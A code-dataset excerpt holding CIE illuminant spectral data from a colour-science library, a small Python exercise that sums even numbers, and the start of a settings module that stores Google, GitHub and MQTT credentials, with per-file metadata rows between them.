11.22, 470: 9.83, 475: 8.94, 480: 12.08, 485: 52.56, 490: 55.42, 495: 31.69, 500: 16.03, 505: 6.72, 510: 4.59, 515: 3.67, 520: 3.02, 525: 3.21, 530: 4.90, 535: 19.05, 540: 177.64, 545: 347.34, 550: 116.80, 555: 31.87, 560: 16.37, 565: 14.92, 570: 14.12, 575: 29.50, 580: 61.40, 585: 85.05, 590: 64.86, 595: 65.01, 600: 53.17, 605: 34.22, 610: 427.27, 615: 201.10, 620: 58.63, 625: 72.01, 630: 88.19, 635: 20.07, 640: 13.10, 645: 12.92, 650: 24.54, 655: 15.94, 660: 13.56, 665: 13.38, 670: 8.42, 675: 6.57, 680: 7.18, 685: 9.90, 690: 11.47, 695: 8.88, 700: 3.05, 705: 22.04, 710: 42.79, 715: 14.40, 720: 1.88, 725: 1.60, 730: 1.42, 735: 1.05, 740: 1.23, 745: 1.76, 750: 0.74, 755: 0.52, 760: 4.10, 765: 0.46, 770: 0.99, 775: 0.43, 780: 0.00 }, 'FL3.8': { 380: 4.18, 385: 2.93, 390: 2.29, 395: 1.98, 400: 2.44, 405: 70.70, 410: 10.19, 415: 9.79, 420: 13.21, 425: 17.79, 430: 22.98, 435: 191.43, 440: 31.76, 445: 33.35, 450: 33.87, 455: 32.89, 460: 30.60, 465: 28.28, 470: 24.81, 475: 21.60, 480: 23.40, 485: 68.99, 490: 70.85, 495: 42.29, 500: 22.67, 505: 11.08, 510: 7.66, 515: 6.07, 520: 5.07, 525: 4.88, 530: 6.26, 535: 20.29, 540: 204.67, 545: 390.25, 550: 135.69, 555: 34.57, 560: 15.71, 565: 12.60, 570: 11.05, 575: 25.05, 580: 54.98, 585: 82.84, 590: 58.22, 595: 53.06, 600: 41.44, 605: 25.26, 610: 329.89, 615: 161.29, 620: 54.19, 625: 66.30, 630: 71.43, 635: 15.74, 640: 10.22, 645: 10.68, 650: 20.32, 655: 14.13, 660: 11.72, 665: 11.75, 670: 7.87, 675: 6.38, 680: 7.23, 685: 8.94, 690: 9.79, 695: 7.26, 700: 2.59, 705: 17.03, 710: 33.69, 715: 12.02, 720: 1.68, 725: 1.50, 730: 1.31, 735: 1.01, 740: 1.16, 745: 1.59, 750: 0.79, 755: 0.67, 760: 4.82, 765: 0.61, 770: 1.25, 775: 0.79, 780: 0.58 }, 'FL3.9': { 380: 3.77, 385: 2.64, 390: 2.06, 395: 1.87, 400: 2.55, 405: 71.68, 410: 12.05, 415: 13.57, 420: 19.60, 425: 27.33, 430: 35.39, 435: 211.82, 440: 49.02, 445: 51.83, 450: 52.50, 455: 50.73, 460: 46.93, 465: 42.42, 470: 37.16, 475: 31.84, 480: 31.94, 485: 77.74, 490: 79.45, 495: 47.93, 500: 26.24, 505: 13.15, 510: 8.80, 515: 6.70, 520: 5.38, 525: 4.93, 530: 6.06, 535: 19.76, 540: 215.94, 545: 412.13, 550: 142.39, 555: 34.74, 560: 14.76, 565: 10.99, 570: 9.25, 575: 23.50, 580: 53.05, 585: 81.90, 590: 54.92, 595: 47.80, 600: 36.65, 605: 21.82, 610: 285.69, 615: 139.94, 620: 53.37, 625: 64.30, 630: 64.04, 635: 13.79, 640: 9.06, 645: 9.83, 650: 18.60, 655: 13.38, 660: 10.99, 665: 10.77, 670: 7.57, 675: 6.19, 680: 7.09, 685: 8.54, 690: 8.77, 695: 6.41, 700: 2.26, 705: 15.02, 710: 29.39, 715: 10.22, 720: 1.42, 725: 1.23, 730: 1.10, 735: 0.84, 740: 0.97, 745: 1.35, 750: 0.65, 755: 0.13, 760: 4.22, 765: 0.10, 770: 0.68, 775: 0.16, 780: 0.00 }, 'FL3.10': { 380: 0.25, 385: 0.00, 390: 0.00, 395: 0.00, 400: 0.69, 405: 21.24, 410: 2.18, 415: 1.86, 420: 3.10, 425: 5.00, 430: 7.03, 435: 45.08, 440: 16.78, 445: 12.28, 450: 13.31, 455: 13.66, 460: 13.69, 465: 13.13, 470: 12.28, 475: 11.42, 480: 11.66, 485: 22.04, 490: 26.17, 495: 18.57, 500: 11.36, 505: 6.83, 510: 5.58, 515: 4.88, 520: 4.31, 525: 3.76, 530: 3.61, 535: 5.62, 540: 38.59, 545: 100.00, 550: 36.54, 555: 10.57, 560: 2.98, 565: 2.05, 570: 1.84, 575: 6.09, 580: 17.27, 585: 21.77, 590: 18.72, 595: 10.15, 600: 7.26, 605: 5.17, 610: 56.66, 615: 49.39, 620: 18.57, 625: 14.21, 630: 14.01, 635: 5.99, 640: 2.68, 645: 3.14, 650: 6.25, 655: 5.78, 660: 6.75, 665: 5.16, 670: 3.03, 675: 1.57, 680: 1.72, 685: 1.54, 690: 1.71, 695: 1.10, 700: 0.28, 705: 3.65, 710: 7.54, 715: 2.34, 720: 0.05, 725: 0.04, 730: 0.04, 735: 0.03, 740: 0.03, 745: 0.02, 750: 0.02, 755: 0.01, 760: 0.01, 765: 0.00, 770: 0.00, 775: 0.00, 780: 0.00 }, 'FL3.11': { 380: 3.85, 385: 2.91, 390: 2.56, 395: 2.59, 400: 3.63, 405: 74.54, 410: 14.69, 415: 17.22, 420: 24.99, 425: 34.40, 430: 44.57, 435: 228.08, 440: 61.53, 445: 65.31, 450: 66.35, 455: 64.37, 460: 59.81, 465: 54.24, 470: 47.42, 475: 41.10, 480: 40.04, 485: 85.54, 490: 86.55, 495: 53.47, 500: 30.91, 505: 17.41, 510: 12.56, 515: 10.10, 520: 8.48, 525: 7.74, 530: 8.58, 535: 21.39, 540: 220.12, 545: 417.35, 550: 146.13, 555: 36.67, 560: 16.51, 565: 12.56, 570: 10.81, 575: 25.31, 580: 53.31, 585: 80.75, 590: 53.56, 595: 44.02, 600: 33.05, 605: 20.26, 610: 233.61, 615: 118.20, 620: 51.66, 625: 61.27, 630: 55.15, 635: 12.95, 640: 8.93, 645: 9.77, 650: 17.12, 655: 13.01, 660: 10.45, 665: 10.33, 670: 7.70, 675: 6.34, 680: 7.35, 685: 8.22, 690: 7.93, 695: 5.70, 700: 2.23, 705: 12.43, 710: 24.24, 715: 8.74, 720: 1.39, 725: 1.23, 730: 1.10, 735: 0.84, 740: 0.94, 745: 1.23, 750: 0.68, 755: 0.52, 760: 4.60, 765: 0.45, 770: 1.04, 775: 0.45, 780: 0.00 }, 'FL3.12': { 380: 1.62, 385: 2.06, 390: 2.71, 395: 3.11, 400: 3.67, 405: 74.60, 410: 8.88, 415: 4.77, 420: 4.72, 425: 4.72, 430: 4.94, 435: 150.29, 440: 6.08, 445: 7.13, 450: 9.10, 455: 11.76, 460: 14.96, 465: 18.54, 470: 22.48, 475: 26.76, 480: 31.66, 485: 40.93, 490: 45.83, 495: 46.00, 500: 45.26, 505: 43.16, 510: 41.63, 515: 39.75, 520: 37.83, 525: 36.16, 530: 35.25, 535: 37.04, 540: 59.86, 545: 183.53, 550: 59.03, 555: 47.93, 560: 48.67, 565: 52.69, 570: 57.24, 575: 77.75, 580: 87.81, 585: 80.55, 590: 84.83, 595: 86.84, 600: 91.44, 605: 96.51, 610: 105.25, 615: 106.74, 620: 108.53, 625: 106.92, 630: 101.54, 635: 95.20, 640: 89.34, 645: 82.95, 650: 75.78, 655: 68.65, 660: 61.70, 665: 55.23, 670: 48.58, 675: 42.90, 680: 37.74, 685: 32.93, 690: 29.65, 695: 25.19, 700: 21.69, 705: 19.28, 710: 17.36, 715: 14.74, 720: 12.86, 725: 11.28, 730: 9.97, 735: 8.88, 740: 7.78, 745: 7.04, 750: 6.30, 755: 5.55, 760: 10.15, 765: 4.50, 770: 4.81, 775: 3.72, 780: 3.28 }, 'FL3.13': { 380: 2.23, 385: 2.92, 390: 3.91, 395: 4.55, 400: 5.46, 405: 77.40, 410: 11.25, 415: 7.69, 420: 8.29, 425: 8.98, 430: 10.01, 435: 204.45, 440: 13.75, 445: 16.88, 450: 21.73, 455: 27.96, 460: 34.92, 465: 41.96, 470: 48.62, 475: 54.33, 480: 59.49, 485: 67.91, 490: 70.01, 495: 66.40, 500: 62.07, 505: 56.95, 510: 52.70, 515: 48.54, 520: 44.80, 525: 41.75, 530: 39.77, 535: 40.50, 540: 59.27, 545: 184.09, 550: 59.06, 555: 49.95, 560: 50.90, 565: 54.51, 570: 58.33, 575: 77.49, 580: 85.78, 585: 76.20, 590: 78.73, 595: 78.95, 600: 81.48, 605: 84.57, 610: 87.75, 615: 89.56, 620: 91.36, 625: 89.00, 630: 83.67, 635: 78.26, 640: 73.19, 645: 67.61, 650: 61.42, 655: 55.49, 660: 49.78, 665: 44.46, 670: 39.13, 675: 34.45, 680: 30.28, 685: 26.37, 690: 23.88, 695: 20.10, 700: 17.40, 705: 15.29, 710: 13.62, 715: 11.68, 720: 10.31, 725: 9.11, 730: 8.03, 735: 7.13, 740: 6.31, 745: 5.67, 750: 5.11, 755: 4.55, 760: 9.06, 765: 3.74, 770: 4.04, 775: 3.14, 780: 2.75 }, 'FL3.14': { 380: 2.87, 385: 3.69, 390: 4.87, 395: 5.82, 400: 7.17, 405: 72.21, 410: 13.69, 415: 11.12, 420: 12.43, 425: 13.90, 430: 15.82, 435: 200.99, 440: 21.72, 445: 26.33, 450: 32.85, 455: 40.80, 460: 49.23, 465: 57.39, 470: 65.26, 475: 71.99, 480: 78.25, 485: 88.85, 490: 91.67, 495: 86.81, 500: 80.42, 505: 73.82, 510: 69.12, 515: 63.69, 520: 58.44, 525: 53.57, 530: 49.66, 535: 48.44, 540: 72.56, 545: 200.42, 550: 65.00, 555: 47.49, 560: 44.14, 565: 44.71, 570: 46.01, 575: 63.52, 580: 71.73, 585: 63.52, 590: 64.13, 595: 63.74, 600: 66.82, 605: 70.65, 610: 79.29, 615: 80.77, 620: 83.59, 625: 82.59, 630: 77.60, 635: 72.47, 640: 68.34, 645: 63.82, 650: 58.57, 655: 53.18, 660: 47.97, 665: 43.14, 670: 38.19, 675: 33.85, 680: 29.94, 685: 26.24, 690: 23.90, 695: 20.33, 700: 17.42, 705: 15.64, 710: 14.34, 715: 12.21, 720: 10.65, 725: 9.43, 730: 8.34, 735: 7.52, 740: 6.73, 745: 6.08, 750: 5.52, 755: 5.00, 760: 9.47, 765: 4.08, 770: 4.43, 775: 3.39, 780: 3.17 }, 'FL3.15': { 380: 300, 385: 286, 390: 268, 395: 244, 400: 304, 405: 581, 410: 225, 415: 155, 420: 152, 425: 170, 430: 295, 435: 1417, 440: 607, 445: 343, 450: 386, 455: 430, 460: 469, 465: 502, 470: 531, 475: 552, 480: 567, 485: 572, 490: 575, 495: 561, 500: 548, 505: 527, 510: 507, 515: 482, 520: 461, 525: 438, 530: 418, 535: 404, 540: 429, 545: 1016, 550: 581, 555: 370, 560: 368, 565: 371, 570: 377, 575: 490, 580: 525, 585: 402, 590: 404, 595: 412, 600: 418, 605: 425, 610: 428, 615: 432, 620: 433, 625: 431, 630: 427, 635: 420, 640: 410, 645: 399, 650: 385, 655: 370, 660: 352, 665: 336, 670: 317, 675: 298, 680: 277, 685: 260, 690: 242, 695: 223, 700: 202, 705: 187, 710: 167, 715: 152, 720: 136, 725: 125, 730: 113, 735: 103, 740: 93, 745: 84, 750: 75, 755: 66, 760: 58, 765: 51, 770: 46, 775: 41, 780: 37 }, 'HP1': { 380: 1.90, 385: 2.20, 390: 2.50, 395: 2.70, 400: 3.10, 405: 4.30, 410: 3.80, 415: 4.20, 420: 4.80, 425: 5.19, 430: 5.89, 435: 7.39, 440: 7.89, 445: 5.69, 450: 12.89, 455: 6.69, 460: 4.30, 465: 20.78, 470: 12.99, 475: 6.69, 480: 1.40, 485: 1.50, 490: 3.20, 495: 18.18, 500: 56.24, 505: 2.90, 510: 2.10, 515: 13.39, 520: 2.10, 525: 2.00, 530: 2.20, 535: 2.30, 540: 2.60, 545: 5.10, 550: 11.39, 555: 15.48, 560: 20.78, 565: 55.64, 570: 254.03, 575: 56.14, 580: 111.78, 585: 297.98, 590: 142.55, 595: 334.84, 600: 189.40, 605: 117.78, 610: 79.92, 615: 108.09, 620: 46.85, 625: 38.16, 630: 32.47, 635: 28.37, 640: 25.37, 645: 22.98, 650: 20.38, 655: 19.78, 660: 17.78, 665: 16.78, 670: 19.18, 675: 17.98, 680: 13.69, 685: 9.99, 690: 8.19, 695: 7.59, 700: 6.99, 705: 6.79, 710: 6.49, 715: 6.39, 720: 6.09, 725: 5.99, 730: 5.79, 735: 5.79, 740: 5.79, 745: 5.79, 750: 6.39, 755: 5.99, 760: 5.59, 765: 31.97, 770: 27.87, 775: 5.89, 780: 6.69 }, 'HP2': { 380: 2.64, 385: 2.77, 390: 3.42, 395: 3.68, 400: 4.33, 405: 5.50, 410: 5.94, 415: 7.20, 420: 9.02, 425: 10.27, 430: 12.48, 435: 16.82, 440: 16.04, 445: 15.26, 450: 22.58, 455: 20.07, 460: 15.13, 465: 25.27, 470: 28.04, 475: 15.99, 480: 10.40, 485: 11.10, 490: 13.44, 495: 22.62, 500: 49.71, 505: 17.21, 510: 17.12, 515: 27.26, 520: 20.02, 525: 21.54, 530: 23.36, 535: 25.66, 540: 29.69, 545: 43.12, 550: 98.30, 555: 125.60, 560: 134.57, 565: 149.70, 570: 166.12, 575: 98.77, 580: 30.47, 585: 1.17, 590: 0.39, 595: 1.65, 600: 21.41, 605: 76.11, 610: 126.16, 615: 161.96, 620: 160.06, 625: 158.19, 630: 153.69, 635: 147.40, 640: 140.60, 645: 134.92, 650: 127.59, 655: 124.65, 660: 118.02, 665: 113.94, 670: 118.10, 675: 115.16, 680: 102.85, 685: 90.54, 690: 83.34, 695: 79.44, 700: 76.97, 705: 74.85, 710: 73.12, 715: 71.51, 720: 70.13, 725: 69.04, 730: 67.48, 735: 66.70, 740: 66.31, 745: 65.14, 750: 65.70, 755: 64.79, 760: 64.10, 765: 83.04, 770: 86.25, 775: 63.93, 780: 64.92 }, 'HP3': { 380: 3.15, 385: 7.49, 390: 10.87, 395: 12.57, 400: 12.97, 405: 21.29, 410: 26.29, 415: 30.18, 420: 43.06, 425: 29.58, 430: 23.18, 435: 35.28, 440: 26.29, 445: 24.29, 450: 22.91, 455: 26.20, 460: 29.31, 465: 25.30, 470: 28.14, 475: 24.05, 480: 21.82, 485: 20.51, 490: 23.05, 495: 26.98, 500: 30.96, 505: 30.72, 510: 27.13, 515: 29.55, 520: 34.22, 525: 29.98, 530: 41.21, 535: 173.14, 540: 141.37, 545: 64.98, 550: 33.83, 555: 34.26, 560: 33.32, 565: 52.80, 570: 74.29, 575: 47.97, 580: 49.20, 585: 96.07, 590: 85.41, 595: 175.18, 600: 153.73, 605: 120.22, 610: 98.90, 615: 90.22, 620: 70.07, 625: 66.84, 630: 57.61, 635: 53.03, 640: 49.85, 645: 48.16, 650: 42.76, 655: 50.64, 660: 48.42, 665: 41.27, 670: 43.44, 675: 40.48, 680: 35.16, 685: 34.94, 690: 24.68, 695: 24.70, 700: 21.49, 705: 19.49, 710: 18.48, 715: 17.55, 720: 17.36, 725: 17.09, 730: 16.32, 735: 16.07, 740: 16.58, 745: 15.78, 750: 17.66, 755: 20.46, 760: 16.59, 765: 17.81, 770: 16.07, 775: 14.83, 780: 14.61 }, 'HP4': { 380: 9.80, 385: 13.30, 390: 19.97, 395: 25.81, 400: 24.69, 405: 47.66, 410: 54.44, 415: 63.82, 420: 85.52, 425: 60.54, 430: 38.37, 435: 88.20, 440: 44.94, 445: 35.64, 450: 30.75, 455: 33.77, 460: 40.81, 465: 33.77, 470: 35.28, 475: 32.55, 480: 29.44, 485: 26.16, 490: 29.96, 495: 32.83, 500: 33.58, 505: 41.16, 510: 32.93, 515: 32.13, 520: 34.45, 525: 30.12, 530: 41.13, 535: 187.10, 540: 101.37, 545: 123.96, 550: 42.47, 555: 34.73, 560: 31.82, 565: 54.67, 570: 57.45, 575: 70.43, 580: 69.50, 585: 49.37, 590: 183.35, 595: 162.15, 600: 109.35, 605: 72.38, 610: 70.60, 615: 58.08, 620: 44.13, 625: 50.20, 630: 40.80, 635: 37.91, 640: 36.71, 645: 38.30, 650: 31.24, 655: 35.31, 660: 45.62, 665: 35.82, 670: 89.91, 675: 36.01, 680: 32.57, 685: 39.26, 690: 23.27, 695: 25.30, 700: 20.02, 705: 17.54, 710: 16.25, 715: 15.20, 720: 15.15, 725: 15.22, 730: 14.26, 735: 12.63, 740: 14.75, 745: 13.19, 750: 17.63, 755: 23.38, 760: 16.02, 765: 24.46, 770: 22.05, 775: 16.11, 780: 12.91 }, 'HP5': { 380: 0.34, 385: 7.11, 390: 11.49, 395: 14.97, 400: 14.95, 405: 29.14, 410: 38.08, 415: 51.56, 420: 62.56, 425: 55.61, 430: 41.98, 435: 50.02, 440: 42.14, 445: 39.04, 450: 40.52, 455: 45.29, 460: 51.01, 465: 49.18, 470: 49.05, 475: 46.12, 480: 45.73, 485: 39.46, 490: 44.39, 495: 46.14, 500: 49.54, 505: 59.76, 510: 48.47, 515: 48.38, 520: 48.70, 525: 44.25, 530: 54.42, 535: 128.93, 540: 81.26, 545: 67.36, 550: 48.48, 555: 51.41, 560: 48.88, 565: 68.52, 570: 80.85, 575: 65.96, 580: 59.43, 585: 67.57, 590: 128.34, 595: 131.85, 600: 101.70, 605: 77.05, 610: 66.27, 615: 77.09, 620: 60.51, 625: 65.23, 630: 57.86, 635: 56.20, 640: 54.32, 645: 56.34, 650: 45.74, 655: 50.79, 660: 56.66, 665: 51.99, 670: 84.31, 675: 47.48, 680: 47.46, 685: 61.78, 690: 34.51, 695: 38.74, 700: 30.98, 705: 25.45, 710: 22.88, 715: 20.82, 720: 21.05, 725: 20.81, 730: 18.69, 735: 17.54, 740: 19.58, 745: 16.42, 750: 23.77, 755: 35.39, 760: 21.37, 765: 34.58, 770: 30.21, 775: 19.71, 780: 15.61 } } ILLUMINANTS_SDS = CaseInsensitiveMapping({ 'A': SpectralDistribution(ILLUMINANTS_SDS_DATA['A'], name='A'), 'B': SpectralDistribution(ILLUMINANTS_SDS_DATA['B'], name='B'), 'C': SpectralDistribution(ILLUMINANTS_SDS_DATA['C'], name='C'), 'D50': SpectralDistribution(ILLUMINANTS_SDS_DATA['D50'], name='D50'), 'D55': SpectralDistribution(ILLUMINANTS_SDS_DATA['D55'], name='D55'), 'D60': SpectralDistribution(ILLUMINANTS_SDS_DATA['D60'], name='D60'), 'D65': SpectralDistribution(ILLUMINANTS_SDS_DATA['D65'], name='D65'), 'D75': SpectralDistribution(ILLUMINANTS_SDS_DATA['D75'], name='D75'), 'E': SpectralDistribution(ILLUMINANTS_SDS_DATA['E'], name='E'), 'FL1': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL1'], name='FL1'), 'FL2': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL2'], name='FL2'), 'FL3': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3'], name='FL3'), 'FL4': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL4'], name='FL4'), 'FL5': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL5'], name='FL5'), 'FL6': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL6'], name='FL6'), 'FL7': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL7'], name='FL7'), 'FL8': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL8'], name='FL8'), 'FL9': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL9'], name='FL9'), 'FL10': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL10'], name='FL10'), 'FL11': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL11'], name='FL11'), 'FL12': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL12'], name='FL12'), 'FL3.1': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.1'], name='FL3.1'), 'FL3.2': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.2'], name='FL3.2'), 'FL3.3': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.3'], name='FL3.3'), 'FL3.4': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.4'], name='FL3.4'), 'FL3.5': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.5'], name='FL3.5'), 'FL3.6': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.6'], name='FL3.6'), 'FL3.7': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.7'], name='FL3.7'), 'FL3.8': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.8'], name='FL3.8'), 'FL3.9': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.9'], name='FL3.9'), 'FL3.10': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.10'], name='FL3.10'), 'FL3.11': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.11'], name='FL3.11'), 'FL3.12': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.12'], name='FL3.12'), 'FL3.13': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.13'], name='FL3.13'), 'FL3.14': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.14'], name='FL3.14'), 'FL3.15': SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.15'], name='FL3.15'), 'HP1': SpectralDistribution(ILLUMINANTS_SDS_DATA['HP1'], name='HP1'), 'HP2': SpectralDistribution(ILLUMINANTS_SDS_DATA['HP2'], name='HP2'), 'HP3': SpectralDistribution(ILLUMINANTS_SDS_DATA['HP3'], name='HP3'), 'HP4': SpectralDistribution(ILLUMINANTS_SDS_DATA['HP4'], name='HP4'), 'HP5': SpectralDistribution(ILLUMINANTS_SDS_DATA['HP5'], name='HP5') }) ILLUMINANTS_SDS.__doc__ = """ *CIE* illuminants spectral distributions. Notes ----- *CIE Illuminant D Series D60* illuminant spectral distribution was computed as follows:: CCT = 6000 * 1.4388 / 1.438 xy = colour.temperature.CCT_to_xy_CIE_D(CCT) sd = colour.sd_CIE_illuminant_D_series(xy) References ---------- :cite:`CIEce`, :cite:`CIEcf` ILLUMINANTS_SDS : CaseInsensitiveMapping """ # *CIE 15:2004* recommends using linear interpolation for # *CIE Standard Illuminant D Series*, for consistency all the illuminants are # using a linear interpolator. for _sd in ILLUMINANTS_SDS.values(): _sd.interpolator = LinearInterpolator
20.966738
78
0.389553
11,124
78,164
2.72438
0.091694
0.019798
0.02554
0.051409
0.039794
0.008315
0.005675
0.005675
0.005675
0.005675
0
0.630168
0.462771
78,164
3,727
79
20.972364
0.091541
0.021199
0
0.019094
0
0
0.015766
0.001752
0
0
0
0
0
1
0
false
0
0.001091
0
0.001091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7df86e933383976a45c7e6d0993c1ac361acf0e
143
py
Python
50-desafio.py
SweydAbdul/EstudosPythonCeV
5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b
[ "MIT" ]
null
null
null
50-desafio.py
SweydAbdul/EstudosPythonCeV
5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b
[ "MIT" ]
null
null
null
50-desafio.py
SweydAbdul/EstudosPythonCeV
5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b
[ "MIT" ]
null
null
null
s = 0 for c in range(0, 6): n = int(input('Digite numero inteiro: ')) if n%2==0: s += n print(f'A soma dos valores par e {s}')
23.833333
45
0.531469
29
143
2.62069
0.793103
0
0
0
0
0
0
0
0
0
0
0.049505
0.293706
143
6
46
23.833333
0.70297
0
0
0
0
0
0.354167
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7e59d5fdf9819003da5019edeb0ff6bb6661297
10,500
py
Python
heimdallr/configuration/heimdallr_settings.py
aivclab/heimdallr
145111cb46f8cb1767d3d3adc78baa3d10be33fb
[ "Apache-2.0" ]
2
2020-03-28T12:58:00.000Z
2021-12-08T13:13:10.000Z
heimdallr/configuration/heimdallr_settings.py
aivclab/heimdallr
145111cb46f8cb1767d3d3adc78baa3d10be33fb
[ "Apache-2.0" ]
null
null
null
heimdallr/configuration/heimdallr_settings.py
aivclab/heimdallr
145111cb46f8cb1767d3d3adc78baa3d10be33fb
[ "Apache-2.0" ]
2
2020-12-04T12:31:38.000Z
2021-08-09T11:48:34.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = "Christian Heider Nielsen" __doc__ = r""" Created on 17/03/2020 """ import getpass import inspect import os import shelve from enum import Enum from typing import Optional try: import sh except: pass from sorcery import assigned_names from apppath import ensure_existence from heimdallr import PROJECT_APP_PATH from warg import PropertySettings, is_windows __all__ = [ "HeimdallrSettings", # Setting Class "SettingScopeEnum", # Setting scope Enum "set_all_heimdallr_settings", # Set settings function ] # PropertySettings.raise_exception_on_none = False class SettingScopeEnum(Enum): """ """ user, site, root = assigned_names() class HeimdallrSettings(PropertySettings): """ """ _setting_scope = None _google_settings_path = None _mqtt_settings_path = None _github_settings_path = None _credentials_base_path = None _look_up_env_on_missing = True def __init__(self, setting_scope: SettingScopeEnum = SettingScopeEnum.user): """Protects from overriding on initialisation""" pass # super().__init__() # TODO: FIGURE OUT A WAY TO EASILY COPY SETTINGS TO ROOT; for services # print(f'Using settings from {PROJECT_APP_PATH.user_config}') _setting_scope = setting_scope if setting_scope == SettingScopeEnum.user or is_windows(): HeimdallrSettings._credentials_base_path = ensure_existence( PROJECT_APP_PATH.user_config / "credentials" ) HeimdallrSettings._google_settings_path = str( ensure_existence(PROJECT_APP_PATH.user_config) / "google.settings" ) HeimdallrSettings._mqtt_settings_path = str( ensure_existence(PROJECT_APP_PATH.user_config) / "mqtt.settings" ) HeimdallrSettings._github_settings_path = str( ensure_existence(PROJECT_APP_PATH.user_config) / "github.settings" ) # print(f'Using config at {PROJECT_APP_PATH.site_config}') elif setting_scope == SettingScopeEnum.site: prev_val = PROJECT_APP_PATH._ensure_existence PROJECT_APP_PATH._ensure_existence = False HeimdallrSettings._credentials_base_path = ( PROJECT_APP_PATH.site_config / "credentials" ) if not HeimdallrSettings._credentials_base_path.exists(): with sh.contrib.sudo( password=getpass.getpass( prompt=f"[sudo] password for {getpass.getuser()}: " ), _with=True, ): sh.mkdir(["-p", HeimdallrSettings._credentials_base_path]) sh.chown( f"{getpass.getuser()}:", PROJECT_APP_PATH.site_config ) # If a colon but no group name follows the user name, that user is made the owner of the files and the group of the files is changed to that user's login group. PROJECT_APP_PATH._ensure_existence = prev_val HeimdallrSettings._google_settings_path = str( ensure_existence(PROJECT_APP_PATH.site_config) / "google.settings" ) HeimdallrSettings._mqtt_settings_path = str( ensure_existence(PROJECT_APP_PATH.site_config) / "mqtt.settings" ) HeimdallrSettings._github_settings_path = str( ensure_existence(PROJECT_APP_PATH.site_config) / "github.settings" ) # print(f'Using config at {PROJECT_APP_PATH.site_config}') elif setting_scope == SettingScopeEnum.root: prev_val = PROJECT_APP_PATH._ensure_existence PROJECT_APP_PATH._ensure_existence = False HeimdallrSettings._credentials_base_path = ( PROJECT_APP_PATH.root_config / "credentials" ) if not HeimdallrSettings._credentials_base_path.exists(): with sh.contrib.sudo( password=getpass.getpass( prompt=f"[sudo] password for {getpass.getuser()}: " ), _with=True, ): sh.mkdir(["-p", HeimdallrSettings._credentials_base_path]) sh.chown( f"{getpass.getuser()}:", PROJECT_APP_PATH.root_config ) # If a colon but no group name follows the user name, that user is made the owner of the files and the group of the files is changed to that user's login group. PROJECT_APP_PATH._ensure_existence = prev_val HeimdallrSettings._google_settings_path = str( ensure_existence(PROJECT_APP_PATH.root_config) / "google.settings" ) HeimdallrSettings._mqtt_settings_path = str( ensure_existence(PROJECT_APP_PATH.root_config) / "mqtt.settings" ) HeimdallrSettings._github_settings_path = str( ensure_existence(PROJECT_APP_PATH.root_config) / "github.settings" ) # print(f'Using config at {PROJECT_APP_PATH.site_config}') else: raise ValueError() @property def google_calendar_id(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._google_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @google_calendar_id.setter def google_calendar_id(self, calendar_id: str) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._google_settings_path, writeback=True) as d: d[key] = calendar_id @property def github_token(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._github_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @github_token.setter def github_token(self, calendar_id: str) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._github_settings_path, writeback=True) as d: d[key] = calendar_id @property def mqtt_access_token(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @mqtt_access_token.setter def mqtt_access_token(self, token: str) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d: d[key] = token @property def mqtt_username(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @mqtt_username.setter def mqtt_username(self, username: str) -> None: key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d: d[key] = username @property def mqtt_password(self) -> Optional[str]: """ """ key = inspect.currentframe().f_code.co_name with shelve.open(HeimdallrSettings._mqtt_settings_path) as d: if key in d: return d[key] if self._look_up_env_on_missing: return os.environ.get(key) return None @mqtt_password.setter def mqtt_password(self, password: str) -> None: key = inspect.currentframe().f_code.co_name with 